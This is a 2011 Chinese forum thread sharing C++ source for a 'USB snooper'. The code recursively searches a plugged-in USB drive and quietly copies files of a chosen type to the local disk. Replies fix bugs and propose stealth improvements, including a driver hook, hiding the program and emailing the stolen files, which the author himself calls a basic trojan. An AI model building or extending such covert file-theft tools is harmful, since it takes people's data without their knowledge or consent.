首页
社区
课程
招聘
[原创]U盘偷窥者源码
发表于: 2011-1-6 01:57 22558

[原创]U盘偷窥者源码

2011-1-6 01:57
22558
/*我的实现和网上很多人实现方法不一样,这个是自己看别人代码然后悟出来的*/
/*我们要查找的是path路径下的,后缀名为format的文件*/
void findfile(CString path,CString format)		
{	CFileFind ff;                                           //这里用的是CFileFind这个类
	CString str;  //保存你查找的具体文件的后缀名
	BOOL work = ff.FindFile(path);                          //查找指定路径下的文件
	while(work)
	{
		work = ff.FindNextFile();
		CString ss = ff.GetFileName();                 //获得文件的名字
		int t =ss.Find('.');
		str = ss.Right(ss.GetLength()-ss.Find(".",0)-1); //取点后面的字符
		str.MakeLower();  //变成小写字母
		if(t !=-1)   //表示不是一个文件夹,而是一个文件 有"."存在
		{/*我这里没考虑文件名为"."和".."的两个目录,因为我认为文件名中有"."表示它是个文件而不是目

录,具体看代码*/
			if(str==format)
			{
				
				CString paths = ff.GetFilePath();
				CString disk ="D:\\Copy的U盘文件";
				::CreateDirectory(disk,NULL);//创建一个目录放拷贝过来的文件
				disk+="\\";
				disk+=ff.GetFileName();
				::CopyFile(paths,disk,true);//拷贝文件
			}

		
		
		}
		else  //如果是文件夹的话,就递归查找
		{
			CString path1 = ff.GetFilePath();//其实是获取当前目录下的所有文件
			path1+="\\*.*";
			findfile(path1,format);  //递归
			
		}
		
	
	}	
	
	ff.Close();

}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (38)
雪    币: 1085
活跃值: (114)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
兄弟很有想法。什么专业的啊?可以交个朋友吗?因为本人平常也喜欢制作一些小的但实用的软件。
2011-1-6 08:45
0
雪    币: 1681
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
itf
3
不错 U盘杀手啊  呵呵
2011-1-6 09:03
0
雪    币: 458
活跃值: (421)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
4
char uType[] = "C:\\";
  for(;uType[0]<='Z';uType[0]++)              //遍历磁盘找到可移动磁盘,获取可移动磁盘号
  {      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符合这个条件的就是可移动磁盘,方法有很多了
    {  memset(uDisk,0,10);//重新置零,uDisk[]用于保存U盘盘符
      uDisk[0]=uType[0];
      strcat(uDisk,":\\*.*");
      
    }
  }  

你这个会异常的。。。  字符串是常量  而你却给++了。。。

--------------------------------------邪恶的分割线-----------------------
如果是 char *uType = "C:\\"; 就会异常了   这个相当于是数组  想错了。
2011-1-6 09:18
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
5
全红字帖,好扎眼。。。
2011-1-6 09:19
0
雪    币: 599
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
很有思想,有前途啊。
2011-1-6 09:24
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
7
[QUOTE=blueapplez;911978]char uType[] = "C:\\";
  for(;uType[0]<='Z';uType[0]++)              //遍历磁盘找到可移动磁盘,获取可移动磁盘号
  {      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符...[/QUOTE]

char++,not string.....
2011-1-6 09:27
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
很好, 感谢刘强妮
2011-1-6 10:10
0
雪    币: 121
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
顶一下 不错的思路哦。。貌似说有源码滴?
2011-1-6 10:42
0
雪    币: 163
活跃值: (75)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
貌似见过类似的源码, 不过既然是偷窥者了,hook usbstor.sys更隐蔽些。。。呵呵
2011-1-6 11:57
0
雪    币: 270
活跃值: (97)
能力值: ( LV8,RANK:140 )
在线值:
发帖
回帖
粉丝
11
这个自己可以实现以下,思路很清晰,在网上看到过。
2011-1-6 11:59
0
雪    币: 100
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
兄弟      几级几班        的?
2011-1-6 12:02
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
13
[QUOTE=blueapplez;911978]char uType[] = "C:\\";
  for(;uType[0]<='Z';uType[0]++)              //遍历磁盘找到可移动磁盘,获取可移动磁盘号
  {      
    if(DRIVE_REMOVABLE ==GetDriveType(uType))//符...[/QUOTE]

不会的,我测试了,那个uType[]是个字符串,  uType[0]是个字符,也是单个的变量,字符在C里面就是Assc值,是可以加的,所以不会出异常,你可以测试一下...
2011-1-6 12:47
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
14
长江大学,应用物理专业的
2011-1-6 12:47
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
15
我没有加这个,不过可以写个全局钩子,设置为隐藏,这个自己发挥吧,呵呵,其实还有很多可以加的,例如发邮件啦,什么的,   其实直接就可以写成一个初级的木马,自己加吧..
2011-1-6 12:49
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
16
可以啊,我学物理的
2011-1-6 12:50
0
雪    币: 100
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
呵呵,还不好好复习!08级的?
2011-1-6 13:01
0
雪    币: 1149
活跃值: (888)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
18
08 级来捧场。。。lz最好能用底层实现,这样的监控更好一些。。
2011-1-6 13:45
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
19
我明明把源码传上来了,怎么会没有呢? 现在再传一遍吧,  原来RAR格式的没有用,我把RAR改为7z了,如果不能正常解压,请改回来!
上传的附件:
2011-1-6 14:27
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
20
对 08级的
2011-1-6 14:28
0
雪    币: 251
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
请问LZ对移动硬盘有办法吗?
2011-1-6 16:05
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
22
亮了。。。。
2011-1-6 16:13
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
23
绿灯,楼Z继续
2011-1-6 18:26
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
24
用timer有点搓了,WM_DEVICECHANGE是正道。
貌似以前写这东西不是为了偷卷子,倒是帮老师忙。。。。。
2011-1-6 20:43
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
25
呵呵,的确,改过来了。
2011-1-6 22:05
0
游客
登录 | 注册 方可回帖
返回
//